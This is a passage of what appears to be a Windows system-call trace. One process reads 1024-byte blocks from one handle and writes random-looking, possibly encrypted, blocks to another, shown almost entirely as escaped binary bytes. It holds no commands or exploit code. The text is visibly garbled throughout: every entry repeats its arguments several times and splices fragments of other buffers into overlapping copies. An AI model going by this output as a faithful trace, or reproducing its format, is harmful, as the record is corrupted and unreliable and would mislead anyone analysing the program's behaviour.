"~\377aO\244\366\17k\16e\177\374~\362\3041\223C\343\313\261#\220\5l\211;NM~\31\356}\26#\231A\306\364<(\334"\243\264i|`\264\277\374d\270B[\36\34\303v\0>\272_\201\\236_\5\353X\3640\330<\3\3ZT\27\4R\237b\366\310\35S\355\13\7\11\17\206\336-\346\373\351\360g\220\307\333\327\362=\242r(6\310)-\221\272\333j7u\202\26\21n\255\231~\216\257\244\233c\237\375;\271\26\27\221a[\332\257r\203\1\277\15\206\2p\340g\352\0\260\364c\314\15\226A\231\324\243\213u\21z\230+\265A\236\230 \212\367\236\265>V\214\364\337\257\225cq\315A\376\370\235u\226\370Z\241D\310\274w\4|\317&\236,\362\22N\204\370p\220\10\16L\26\324\255)\242\333\201\330 \14\363MN\265'\313\16\343\324(-\326n}<(\300\237\204\224d\323h\3307D\226\344\211/\263\321\223a\266yK\272(\306\307\1\264\371%\232\33aX%#Y\355\10Ars#\245\246\364\255I'\211\272\207j/\240k\247gaD\273:%\277\334^\232E\221'C\264$\331\230\350X\331\335\337\26_\2156\32-\1\334\325\7Cw+\367,$\17H6\305S;U ?8i)\11\32oKh\203+kg\263\5o_\12\215L/W\272\273]Ri#:\0\300\331\236\351\305\262\376\220\353\16\250\341=\260\177IX\177\263)\34\222\177\352\347\313\321\346\374J \353c?\301\323\240M\340>\271s\26\27\273\311\210&b~@m\257\362\4\327|g\205\371\247\225"\360\272\321R\350\266hgOG\206.\4q\227\230y\24\355\7\3200M;\301\327\302\5\12!\273Sz\252C\16\327\314\24\33\214I?\223\3755\27\322\256WP\30\277L\365o\233\1\355", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01106  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\5=\20=\32=%=/=:=D=O=Y=_=i=o=y=\203=\216=\230=\243=\255=\270=\312=\332=\342=\352=\362=V>\214>\231>\302>\370>\5?.?d?q?\232?\320?\335?\0\320\0\0T\2\0\0\60<0I0x0\2560\3100\3750;1m1\2551\3411#2B2J2R2Z2\2212\2372\2442\2572\2652\2722\3052\3132\3202\3332\3412\3462\3612\3672\3742\73\153\223\353#3(33393>3I3O3T3_3e3j3u3{3\2003\2133\2213\2263\2413\2473\2543\2673\2753\3023\3153\3233\3303\3433\3513\3563\3713\3773\44\174\254\324%4+404;4A4F4Q4W4\4g4m4r4}4\2375\2535\2705\3525\3565\3625\126\306\34686@6D6H6L6P6T6X6\6`6d6h6l6p6t6x6|6\2006\2046\2106\2146\2206\2246\2306\2346\2646\3146\3206\3446\47\147\207\247\307\347 7$7(7,7H7h7p7t7x7|7\2007\2047\2107\2147\2207\2547\3147\3247\3307\3347\3407\3447\3507\3547\3607\3647\2080888<8@8D8H8L8P8T8X8t8\2248\2348\2408\2448\2508\2548\2608\2648\2708\2748\3308\3708\09\49\109\149\209\249\309\349 9<9\9d9h9l9p9t9x9|9\2009\2049\2449\3049\3149\3209\3249\3309\3349\3409\3449\3509\3549\14:,:", ) , ) == 0x0
 01107  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\10\221\327)pE\315X\277d\25a\36"%(&\331O$\341s}\302\323K.\201`\266[\24.}x\213\316\320\367{t:\252"Y\304\26;%\251\347\2476\362\330y\251\302\213\231\303\353\330R\272\260=\301&\326$T\325\257f\21~\304\202\36\224Lop\7\330\13\372\351\340\377O\243h\352\25\206P\36W\310~\177\325\234|\270Q\260\25\30\333+\211A|Z\360\306\312"\6\5(\352Y\360\11H\202<\2414\15F\\177\370\356{}\345\301"9\375\224\210=\345L\22v^\236\21];H\3333-\245b\2\352\303\226R\333\337\243\253\25G\357\356f\276\234\35\252}\13\372\203\2610X\200\33\4\270g\236';\372\367>\367\205jc\4Z\321\345\17\204\203\204S\360\273\334nI\3\12\363;\6\366\273\15\337\5&i\244\217\3\327\3\270\243\21\276SX\373\34\3517Q\336h\261\207\217\357(\204\304\313\257\356[\356\256\273\205\324\34\240\236\251o\277/\250+\241\37\2060\253\244\252\27\331\3\17\253\220]\326o\313\376T\354\322tu\362q*\33\223L\244\10(\3\315\220\233*\222\22C'\275\277{w\306\12\2h\262J\326\354\7\231\271N\3642O=\260\376pw\267\310+\200\346z\364\372\315\355.\310\374w;4\355\22.&\232!\302pbQ\356\372\30\346\343}>\321\330?\5i?\2368d|\35Z\272I\21\314\21\0\345N\203B0~M\316\1\354\222\213(\221\330\257\11\224kq\22\217\357_\246\224\24&\254\207|\177-,\325S\336\203/\251\370\255\255y9\21\247\336L\366&z\2Ja/<\4\306Fa\276\216\263\22\227\240\276\330\10P\13", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) %(&\331O$\341s}\302\323K.\201`\266[\24.}x\213\316\320\367{t:\252 (92, 0, 0, 0, "\10\221\327)pE\315X\277d\25a\36"%(&\331O$\341s}\302\323K.\201`\266[\24.}x\213\316\320\367{t:\252"Y\304\26;%\251\347\2476\362\330y\251\302\213\231\303\353\330R\272\260=\301&\326$T\325\257f\21~\304\202\36\224Lop\7\330\13\372\351\340\377O\243h\352\25\206P\36W\310~\177\325\234|\270Q\260\25\30\333+\211A|Z\360\306\312"\6\5(\352Y\360\11H\202<\2414\15F\\177\370\356{}\345\301"9\375\224\210=\345L\22v^\236\21];H\3333-\245b\2\352\303\226R\333\337\243\253\25G\357\356f\276\234\35\252}\13\372\203\2610X\200\33\4\270g\236';\372\367>\367\205jc\4Z\321\345\17\204\203\204S\360\273\334nI\3\12\363;\6\366\273\15\337\5&i\244\217\3\327\3\270\243\21\276SX\373\34\3517Q\336h\261\207\217\357(\204\304\313\257\356[\356\256\273\205\324\34\240\236\251o\277/\250+\241\37\2060\253\244\252\27\331\3\17\253\220]\326o\313\376T\354\322tu\362q*\33\223L\244\10(\3\315\220\233*\222\22C'\275\277{w\306\12\2h\262J\326\354\7\231\271N\3642O=\260\376pw\267\310+\200\346z\364\372\315\355.\310\374w;4\355\22.&\232!\302pbQ\356\372\30\346\343}>\321\330?\5i?\2368d|\35Z\272I\21\314\21\0\345N\203B0~M\316\1\354\222\213(\221\330\257\11\224kq\22\217\357_\246\224\24&\254\207|\177-,\325S\336\203/\251\370\255\255y9\21\247\336L\366&z\2Ja/<\4\306Fa\276\216\263\22\227\240\276\330\10P\13", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \6\5(\352Y\360\11H\202<\2414\15F\\177\370\356{}\345\301 (92, 0, 0, 0, "\10\221\327)pE\315X\277d\25a\36"%(&\331O$\341s}\302\323K.\201`\266[\24.}x\213\316\320\367{t:\252"Y\304\26;%\251\347\2476\362\330y\251\302\213\231\303\353\330R\272\260=\301&\326$T\325\257f\21~\304\202\36\224Lop\7\330\13\372\351\340\377O\243h\352\25\206P\36W\310~\177\325\234|\270Q\260\25\30\333+\211A|Z\360\306\312"\6\5(\352Y\360\11H\202<\2414\15F\\177\370\356{}\345\301"9\375\224\210=\345L\22v^\236\21];H\3333-\245b\2\352\303\226R\333\337\243\253\25G\357\356f\276\234\35\252}\13\372\203\2610X\200\33\4\270g\236';\372\367>\367\205jc\4Z\321\345\17\204\203\204S\360\273\334nI\3\12\363;\6\366\273\15\337\5&i\244\217\3\327\3\270\243\21\276SX\373\34\3517Q\336h\261\207\217\357(\204\304\313\257\356[\356\256\273\205\324\34\240\236\251o\277/\250+\241\37\2060\253\244\252\27\331\3\17\253\220]\326o\313\376T\354\322tu\362q*\33\223L\244\10(\3\315\220\233*\222\22C'\275\277{w\306\12\2h\262J\326\354\7\231\271N\3642O=\260\376pw\267\310+\200\346z\364\372\315\355.\310\374w;4\355\22.&\232!\302pbQ\356\372\30\346\343}>\321\330?\5i?\2368d|\35Z\272I\21\314\21\0\345N\203B0~M\316\1\354\222\213(\221\330\257\11\224kq\22\217\357_\246\224\24&\254\207|\177-,\325S\336\203/\251\370\255\255y9\21\247\336L\366&z\2Ja/<\4\306Fa\276\216\263\22\227\240\276\330\10P\13", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01108  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "|9\263:\267:\273:\277:\303:\307:\313:\317:\323:\327:\333:\337:\343:\347:\353:\357:\363:\367:\373:\377:\3;\7;n;\264<\330r>v>z>~>\202>\206>\212>\216>\222>\226>\232>\236>\242>\246>\252>\256>\262>\266>\272>\276>\302>\321>\16?$?:?P?\0\0\1\0T\1\0\04080<0@0D0H0L0P0T0X0\0`0d0h0l0p0t0x0|0\2000\2040\2100\2620\3120\3420\3720\3011\3451L2\2202\3222\3532\43\2043\2103\2143\2203\2243\2303\2343\2403\2443\2503\2543\2603\2643\2703\2743\3003\3043\3103\3143\3203\3243\3303\3543I4`5d5h5l5p5t5x5|5\2005\2045\2105\2145\2205\2245\2305\2345\2405\2445\2505\2545\2605\2645\3755\27\67\127\167\227\267\327\367"7&7*7.72767:7>7B7F7J7N7R7V7f7)8\2148\260869\2269\3409":;:T:\324:\330:\334:\340:\344:\350:\354:\360:\364:\370:\374:\0;\4;\10;\14;\20;\24;\30;\34; ;$;(;<;\236<\242<\246<\252<\256<\262<\266<\272<\276<\302<\306<\312<\316<\322<\326<\332<\336<\342<\346<\352<\356<\362E>\243>\376>H?\212?\243?\274?\0\0\0\20\1\0H\1\0\0<0@0D0H0L0P0T0X0\0`0d0h0l0p0t0x0|0\2000", ) 7&7*7.72767:7>7B7F7J7N7R7V7f7)8\2148\260869\2269\3409 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "|9\263:\267:\273:\277:\303:\307:\313:\317:\323:\327:\333:\337:\343:\347:\353:\357:\363:\367:\373:\377:\3;\7;n;\264<\330r>v>z>~>\202>\206>\212>\216>\222>\226>\232>\236>\242>\246>\252>\256>\262>\266>\272>\276>\302>\321>\16?$?:?P?\0\0\1\0T\1\0\04080<0@0D0H0L0P0T0X0\0`0d0h0l0p0t0x0|0\2000\2040\2100\2620\3120\3420\3720\3011\3451L2\2202\3222\3532\43\2043\2103\2143\2203\2243\2303\2343\2403\2443\2503\2543\2603\2643\2703\2743\3003\3043\3103\3143\3203\3243\3303\3543I4`5d5h5l5p5t5x5|5\2005\2045\2105\2145\2205\2245\2305\2345\2405\2445\2505\2545\2605\2645\3755\27\67\127\167\227\267\327\367"7&7*7.72767:7>7B7F7J7N7R7V7f7)8\2148\260869\2269\3409":;:T:\324:\330:\334:\340:\344:\350:\354:\360:\364:\370:\374:\0;\4;\10;\14;\20;\24;\30;\34; ;$;(;<;\236<\242<\246<\252<\256<\262<\266<\272<\276<\302<\306<\312<\316<\322<\326<\332<\336<\342<\346<\352<\356<\362E>\243>\376>H?\212?\243?\274?\0\0\0\20\1\0H\1\0\0<0@0D0H0L0P0T0X0\0`0d0h0l0p0t0x0|0\2000", ) , ) == 0x0
 01109  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\257\12\240\356#\31\16\3143\303\303U\245M\14\201\354.\231D\205\3764\344\227\267596\\27e\340\205L\4\11\216\313\207\362F\26\321\327>j\314`q\237&\366\311\373\336\256\205\356\314\237\233\304\302L\2V\204{@k\236\370\302\343W\317N\276\346\(K\256\14P@\255(_\264\16\205\371\272\253\247g\251\313\265#}\3\334\15\307&\260=g,\20$!\335\350s\210,T\264\327\22\210)$@+\237\325\247r\262z\11\362\337\253K >\326\27*\307\250E\325\254\4Lz?\220+\25\363l\222\237k\257\346fG\213\220\325\1\3045?\210\370\4\377\215\265\214\223\20\25u\12\214\270j\24S\376\273A\241\232c\350*\306\250_\315p\212f0#\343f%0\342\346\351.\223\27~%Q\351\363\30F\333\27M\17\303@a\341\14H\261\256&\261&:?]\26\270\351\345\245H\207\331\375\230\13%E\331\204\17-e\273\217\375\213r\366\10\1\331\301c\356\203DA\49\204\352\2051+2f\25\33"\365A\17\273\276\270V\1\200{V\35wP!\326\25\362%\236\304I\207\2156\246\5\203'\341\332\366\245\264\10\5\276\247k\240\256@L\240:\330\267\33\355\353\341\2243D\243P\21\323\202yCMN\357\14c\341\20\302\340\363i\36\346~\201\301\335\337\352\257\340P&\246]\327\374!\317\323\15\354\263\237\315?\351\220\360\315+\304Z<\375\343,\11\236\3561|\211#\201\203\362T\360'\27\211\242\26\353\16\245W\302\246r\374\202\300\2\206\244\242", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) r\366\10\1\331\301c\356\203DA\49\204\352\2051+2f\25\33 (92, 0, 0, 0, "\257\12\240\356#\31\16\3143\303\303U\245M\14\201\354.\231D\205\3764\344\227\267596\\27e\340\205L\4\11\216\313\207\362F\26\321\327>j\314`q\237&\366\311\373\336\256\205\356\314\237\233\304\302L\2V\204{@k\236\370\302\343W\317N\276\346\(K\256\14P@\255(_\264\16\205\371\272\253\247g\251\313\265#}\3\334\15\307&\260=g,\20$!\335\350s\210,T\264\327\22\210)$@+\237\325\247r\262z\11\362\337\253K >\326\27*\307\250E\325\254\4Lz?\220+\25\363l\222\237k\257\346fG\213\220\325\1\3045?\210\370\4\377\215\265\214\223\20\25u\12\214\270j\24S\376\273A\241\232c\350*\306\250_\315p\212f0#\343f%0\342\346\351.\223\27~%Q\351\363\30F\333\27M\17\303@a\341\14H\261\256&\261&:?]\26\270\351\345\245H\207\331\375\230\13%E\331\204\17-e\273\217\375\213r\366\10\1\331\301c\356\203DA\49\204\352\2051+2f\25\33"\365A\17\273\276\270V\1\200{V\35wP!\326\25\362%\236\304I\207\2156\246\5\203'\341\332\366\245\264\10\5\276\247k\240\256@L\240:\330\267\33\355\353\341\2243D\243P\21\323\202yCMN\357\14c\341\20\302\340\363i\36\346~\201\301\335\337\352\257\340P&\246]\327\374!\317\323\15\354\263\237\315?\351\220\360\315+\304Z<\375\343,\11\236\3561|\211#\201\203\362T\360'\27\211\242\26\353\16\245W\302\246r\374\202\300\2\206\244\242", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01110  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "p0t0x0|0\2000\2040\2100\2140\2200\2240\2300\2440\3040\3140\3200\3240\3300\3340\3400\3440\3500\3540\3740\141\301\341$1(1,1014181<1@1D1H1L1P1Z1^1p1\2011\2051\2301\2641\2741\3341\3441\3501\3541\3601\3641\3701\3741\02\42\24242<2@2D2H2L2P2T2X2\2\2222\3633\124\214\275$515C5H5\5|5\2045\2105\2145\2205\2245\2305\2345\2405\2445\3745\106\327\2247\2677\3217\3437\158\2558\3528s9\2759\35292:o:\213:\316:\356:l;\233;\337;\346;\375;I<\235<\270<\365<\1=\20=p=u=\234=\244=\263=\370=\375=\25>\37>/>5>I>S>g>v>\246>\253>\275>\333>\347>\356>\370>\20?*?4?>?H?W?a?s?\204?\253?\267?\276?\311?\333?\354?\0\0\0@\1\0\250\0\0\0\140\240\300\340 0$0(0,00040L0X0l0t0x0|0\2000\2040\2100\2140\2200\2240\2420\3070\3160h2\363H3\2113\74r4\3274\15\2266\2356\3676\3766G7S7Z7e7w7\2107\2407\2747\3307\3347\3447\3507\3547\3607\3647\3707\3747\08\48\148$8@8D8L8P8T8X8\8`8d8h8l8t8o=\177=C?S?i?p?\251?\307?\324?\0\0\0P\1\0 \1\0\0R0\0\2030\2220\3130\3730q1v1", ) , ) == 0x0
 01111  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\14\223\25\366\335\264\257\366dq\275HP\242\230M\314\213\275\344\323\216\36\343P\20D\347\361;\370\200\213b\265\27\247L`\276\158\376\251\233G(\33}\30\23V\3fe\271\325\255\314S$~Md\261\232?m<\326\305\226\241Cyx>\261\2171Q\302O3\252 \206I#\5\3365\232FO3ae\33|\3704\4t\254\333_\307\356j\277Idi{\321;G\252\14{\244gd\205\233Wm\243\264\5D[\247T\355\243\33\240R\13\267\207\32\323\311\203\214+\327c'\323\210 \204B\13\D\322\171\332D\313\361\344c\377[\377\247\301\252;\346 Gr+a\224\274\207\335\7F+y\360\304\343\177\332$6\326\343\372=\365fI\177"\2\371\260\330\235I\346\3103\217\274\325#\327FI\17\225\201\2\3158\367\235\345\234{\245\;\317\14\330QaAW!\30\316\\325mUf\262s\3558\361\232\2\353\265U1\250\356\344a\36\3362}x\215k\207;|,\2425\237\317\221\211\271\13\1\303\347T\375&W\265\272\27081\240\223\235\202\346\330\267\331\243\2255\22\3\222\343\342\242\300\257\26\306p-\321\14.\1\20\255\205\327T\362B\227_\344\254\352\202*F\242\245\374\317\227\262=f\37\351\26\302\12\327)p\341\207\213\215\312\207\323\344\206\264k\32ZQ=\265\0\243Xm\254\35\341\305FB\314\342v\177\224\227\30{\351\235\232\31\7\35\333\234\237Oac3Q\241\13C\347Y\12\254\;\267\207\320\361\205\235\317\244\305\3\245,\237\227k\372\317\12\2127\376\11v\11\314 \261\237+\321H\31\230\14\371^b\260\310e\376!\331\3623\36n\241\377\264\372\270\2\341\205\2354\312``\2179G\360:\352\363\220\337\4\304\264\313b\31&_\33C\324\347\361>\330,\346Z", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \2\371\260\330\235I\346\3103\217\274\325#\327FI\17\225\201\2\3158\367\235\345\234{\245\;\317\14\330QaAW!\30\316\\325mUf\262s\3558\361\232\2\353\265U1\250\356\344a\36\3362}x\215k\207;|,\2425\237\317\221\211\271\13\1\303\347T\375&W\265\272\27081\240\223\235\202\346\330\267\331\243\2255\22\3\222\343\342\242\300\257\26\306p-\321\14.\1\20\255\205\327T\362B\227_\344\254\352\202*F\242\245\374\317\227\262=f\37\351\26\302\12\327)p\341\207\213\215\312\207\323\344\206\264k\32ZQ=\265\0\243Xm\254\35\341\305FB\314\342v\177\224\227\30{\351\235\232\31\7\35\333\234\237Oac3Q\241\13C\347Y\12\254\;\267\207\320\361\205\235\317\244\305\3\245,\237\227k\372\317\12\2127\376\11v\11\314 \261\237+\321H\31\230\14\371^b\260\310e\376!\331\3623\36n\241\377\264\372\270\2\341\205\2354\312``\2179G\360:\352\363\220\337\4\304\264\313b\31&_\33C\324\347\361>\330,\346Z", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01112  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "Z1v1\2261\3541\367132C3\2223\3333\174\274%4B4`4v4~4\2244\2344\2624\2724\3204\3304\3564\3664\145\245*525H5P5f5n5\2045\2145\2425\2525\3005\3105\3365\3465\3745\46\326"686@6V6^6t6|6\2226\2316\2466U9\2149\2429N:\204:\256:\360;\27\37>I>_>w>\217>\257>\302>\313>\324>\335>\346>\363>#?(?8?"3-373>3H3O3Y3`3j3o3t3y3\2033\2103\2153\2323\2473\2553\2643\2723\2773\3053\3143", ) 686@6V6^6t6|6\2226\2316\2466U9\2149\2429N:\204:\256:\360;\27225<\261<\316<\357<\22=\34=)=M=\245=\313=\332=\355=\6>\37>I>_>w>\217>\257>\302>\313>\324>\335>\346>\363>#?(?8?203?\221?\237?\255?\273?\311?\327?\345?\0\0\0\200\1\0H\0\0\0\2672\3022\3142\3262\3402\3522\3742\203\343 3,303l3p3t3x3|3\2003\2143\2203\2243\2303\2343\2403\2443\2503\2643\2703\3143\3203\3503\0\0\0\220\1\0\30\2\0\0\20\240\330\370%0)0/060:0T0]0f0r0|0\2060\2200\2320\2440\2630\2770\3070\3210\3340\3440\3510\3700\31161K1W1_1i1n1s1x1}1\2031\2101\2151\2231\2321\2401\2471\2551\2641\2721\3011\3071\3161\3401\3621\3771\132\302$272C2M2T2^2e2o2|2\2162\2262\2362\2572\2712\3122\3262\3422\3632\33\153\303 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "Z1v1\2261\3541\367132C3\2223\3333\174\274%4B4`4v4~4\2244\2344\2624\2724\3204\3304\3564\3664\145\245*525H5P5f5n5\2045\2145\2425\2525\3005\3105\3365\3465\3745\46\326"686@6V6^6t6|6\2226\2316\2466U9\2149\2429N:\204:\256:\360;\27\37>I>_>w>\217>\257>\302>\313>\324>\335>\346>\363>#?(?8?"3-373>3H3O3Y3`3j3o3t3y3\2033\2103\2153\2323\2473\2553\2643\2723\2773\3053\3143", ) , ) == 0x0
 01113  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\12\32\226Qx\355\363M\32]l\241>\232\273.\307\217\302\177\205\6\274[\346E\302\324`jw\373\327"r\2041\13\0gc\314\303\337\256\21iE\310=q3x\345\374\316\225\302\376\2378\14'<\216\335H\12\2\242\273t\304\361{\341O\322\352\247\22\367\262\23,\216DdovA\277(U\266\32\357j\364\3675T\262\365\243\371U\323\360x\30\252\272\6\222\240G?\335?\324\325GYx\226\302~Z?\374\355\277A\337\4\26\15\330 \250\366\275!\233|\331O\225B\37\260\263\26\\311C9?\3762A\346\357\363g\217M\307\356\27\374\252\226\325\260\33\253\7\214\321p\232\324\15\34\224\224\301\2\21j\324\262\273\j\226\342H\367tm\255(~\242\15z\271\206\230\11\22_.\37T\3157:+\6/\313]\327?=~\366\345\37L\270~q\255\222\361\216\200\356\317ViX\321\112\312\361\363\22\4^z5I\3020\305s\246RP/V\376\266\243\337\317\25\0\322V#%\30\343B\267\324\372EG{\3"\305\256\17\314\343el\223\346`\344?{j\211&\16oH\234\264k\345\370\214\30\204\345\262\330\347\211Xt\241`\10\26\271\304`\324d\247\210U\205\24\312((\217\371w{{\6Y\347\354\246\27303\351(\250l\1693\376\326\274\200\27"D\246\236nW\272\357\345\11\311\246\340\354\233w\376\310\266\267\4\342\337\226r\364r\17\203F\225\ \12G?\340KN\230\336^M\23'\10r\373\224\34\347\252\20\177,.\270\225\2\204\214\2547^\30pA\22\13\23\260\32\33I\223g+k\208\245\320\340\250\245\305\306\327C\305\323\212\6\314\273\220[h &\222\357\177\327.\344\226Co\270\305\330_vj\376\266m0f\346\220\200\0\246\2\300\313\240=\24\274\324", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) r\2041\13\0gc\314\303\337\256\21iE\310=q3x\345\374\316\225\302\376\2378\14'<\216\335H\12\2\242\273t\304\361{\341O\322\352\247\22\367\262\23,\216DdovA\277(U\266\32\357j\364\3675T\262\365\243\371U\323\360x\30\252\272\6\222\240G?\335?\324\325GYx\226\302~Z?\374\355\277A\337\4\26\15\330 \250\366\275!\233|\331O\225B\37\260\263\26\\311C9?\3762A\346\357\363g\217M\307\356\27\374\252\226\325\260\33\253\7\214\321p\232\324\15\34\224\224\301\2\21j\324\262\273\j\226\342H\367tm\255(~\242\15z\271\206\230\11\22_.\37T\3157:+\6/\313]\327?=~\366\345\37L\270~q\255\222\361\216\200\356\317ViX\321\112\312\361\363\22\4^z5I\3020\305s\246RP/V\376\266\243\337\317\25\0\322V#%\30\343B\267\324\372EG{\3 (92, 0, 0, 0, "\12\32\226Qx\355\363M\32]l\241>\232\273.\307\217\302\177\205\6\274[\346E\302\324`jw\373\327"r\2041\13\0gc\314\303\337\256\21iE\310=q3x\345\374\316\225\302\376\2378\14'<\216\335H\12\2\242\273t\304\361{\341O\322\352\247\22\367\262\23,\216DdovA\277(U\266\32\357j\364\3675T\262\365\243\371U\323\360x\30\252\272\6\222\240G?\335?\324\325GYx\226\302~Z?\374\355\277A\337\4\26\15\330 \250\366\275!\233|\331O\225B\37\260\263\26\\311C9?\3762A\346\357\363g\217M\307\356\27\374\252\226\325\260\33\253\7\214\321p\232\324\15\34\224\224\301\2\21j\324\262\273\j\226\342H\367tm\255(~\242\15z\271\206\230\11\22_.\37T\3157:+\6/\313]\327?=~\366\345\37L\270~q\255\222\361\216\200\356\317ViX\321\112\312\361\363\22\4^z5I\3020\305s\246RP/V\376\266\243\337\317\25\0\322V#%\30\343B\267\324\372EG{\3"\305\256\17\314\343el\223\346`\344?{j\211&\16oH\234\264k\345\370\214\30\204\345\262\330\347\211Xt\241`\10\26\271\304`\324d\247\210U\205\24\312((\217\371w{{\6Y\347\354\246\27303\351(\250l\1693\376\326\274\200\27"D\246\236nW\272\357\345\11\311\246\340\354\233w\376\310\266\267\4\342\337\226r\364r\17\203F\225\ \12G?\340KN\230\336^M\23'\10r\373\224\34\347\252\20\177,.\270\225\2\204\214\2547^\30pA\22\13\23\260\32\33I\223g+k\208\245\320\340\250\245\305\306\327C\305\323\212\6\314\273\220[h &\222\357\177\327.\344\226Co\270\305\330_vj\376\266m0f\346\220\200\0\246\2\300\313\240=\24\274\324", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) D\246\236nW\272\357\345\11\311\246\340\354\233w\376\310\266\267\4\342\337\226r\364r\17\203F\225\ \12G?\340KN\230\336^M\23'\10r\373\224\34\347\252\20\177,.\270\225\2\204\214\2547^\30pA\22\13\23\260\32\33I\223g+k\208\245\320\340\250\245\305\306\327C\305\323\212\6\314\273\220[h &\222\357\177\327.\344\226Co\270\305\330_vj\376\266m0f\346\220\200\0\246\2\300\313\240=\24\274\324", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01114  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "P:T:X:\:`:d:h:l:p:\210:\214:\220:\230:\234:\240:\244:\334:\344:\354:\364:\374:\4;\14;\24;\34;$;,;4;<;D;L;T;\;d;l;t;|;\204;\214;\224;\234;\244;\254;\264;\274;\304;\314;\324;\334;\344;\354;\364;\374;\4<\14<\24<\34<$<,<4<<\274>\300>\304>\310>\314>\320>\324>\330>\334>\340>\344>\350>\354>\360>\364>\370>\374>\0?\4?\10?\14?\20?\24?\30?\34? ?$?(?,?0?4?8?, ) , ) == 0x0
 01115  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\226\347^\30\257\244^\132\27k\217\222\302\261\265!@\35.\360\217\16,\234\202\252\264P{\2145\37\312\243`\235n\363zK\341\20]j\331O\342\350.w\364j\214\277\24\222@\3417\331\317g\2008kr`\346S\225\32L\355\331\341\336\257z\3\343A\233\24g\365<\362\346q\327)\221G\334\360u\4\211r\32$\256\234\4\362_f\303\22\206\225?\17pf\15D\210h\333Dp\245\236\251q\2511\273\337\271\36\275,g\225\377\201\352\37\246\327\220R\5\14:\300\206\377\214\327\3221\4\347@Y\203\335(\6)\321\30\232?{{^\223F0\245\304\116pk\375\311\342\240kr\12\254\320\14G\350ng5\212\11en\315c\16N(\35Y\20\370\5\207&\272V\17{\215*\234\246\2!\374\360i=\361\335\312\264\26\302\327 E\3276\366\314\342)\246P\12\4\247\2434\200\376\242<\30\276\330\305\5\2174\3\345\372\334\177rO\22N\302\243\3011w\37\1\320bH\351r\3T\3@\351\279!TK\215\356\324/\260H\221[3\247\245\323\31;YA\212\\231sC\34t\25\325w0i\300\251\353\246}\216\3010\346\361\254\240\33\352{]\345\266a\237\25\366F\36\264\03\340\334\210,"g\346\224N\26y\307\24\32p\275\226D\307\316\320\352\321G\205'\204>\315\1v18\246\332\342\261\251\323zNNDj\202\352L"\365\203\341!CtG~<\343\251\265\271z\264cKP\356\331\376\12\220R\340\347\314\305x\366\200\361\302\321Y\372hK\270n(<\344.WC\322w:o\36\265\271\222#\355\e\2042)\256L\215\277\344K0\32\21m\233\351[T", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) g\346\224N\26y\307\24\32p\275\226D\307\316\320\352\321G\205'\204>\315\1v18\246\332\342\261\251\323zNNDj\202\352L177\7uQ\242\336H\330./\366\220\216\21k\220\365\355\363\304x\31\4\362\335\255j\237e\5 (92, 0, 0, 0, "\226\347^\30\257\244^\132\27k\217\222\302\261\265!@\35.\360\217\16,\234\202\252\264P{\2145\37\312\243`\235n\363zK\341\20]j\331O\342\350.w\364j\214\277\24\222@\3417\331\317g\2008kr`\346S\225\32L\355\331\341\336\257z\3\343A\233\24g\365<\362\346q\327)\221G\334\360u\4\211r\32$\256\234\4\362_f\303\22\206\225?\17pf\15D\210h\333Dp\245\236\251q\2511\273\337\271\36\275,g\225\377\201\352\37\246\327\220R\5\14:\300\206\377\214\327\3221\4\347@Y\203\335(\6)\321\30\232?{{^\223F0\245\304\116pk\375\311\342\240kr\12\254\320\14G\350ng5\212\11en\315c\16N(\35Y\20\370\5\207&\272V\17{\215*\234\246\2!\374\360i=\361\335\312\264\26\302\327 E\3276\366\314\342)\246P\12\4\247\2434\200\376\242<\30\276\330\305\5\2174\3\345\372\334\177rO\22N\302\243\3011w\37\1\320bH\351r\3T\3@\351\279!TK\215\356\324/\260H\221[3\247\245\323\31;YA\212\\231sC\34t\25\325w0i\300\251\353\246}\216\3010\346\361\254\240\33\352{]\345\266a\237\25\366F\36\264\03\340\334\210,"g\346\224N\26y\307\24\32p\275\226D\307\316\320\352\321G\205'\204>\315\1v18\246\332\342\261\251\323zNNDj\202\352L"\365\203\341!CtG~<\343\251\265\271z\264cKP\356\331\376\12\220R\340\347\314\305x\366\200\361\302\321Y\372hK\270n(<\344.WC\322w:o\36\265\271\222#\355\e\2042)\256L\215\277\344K0\32\21m\233\351[T", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
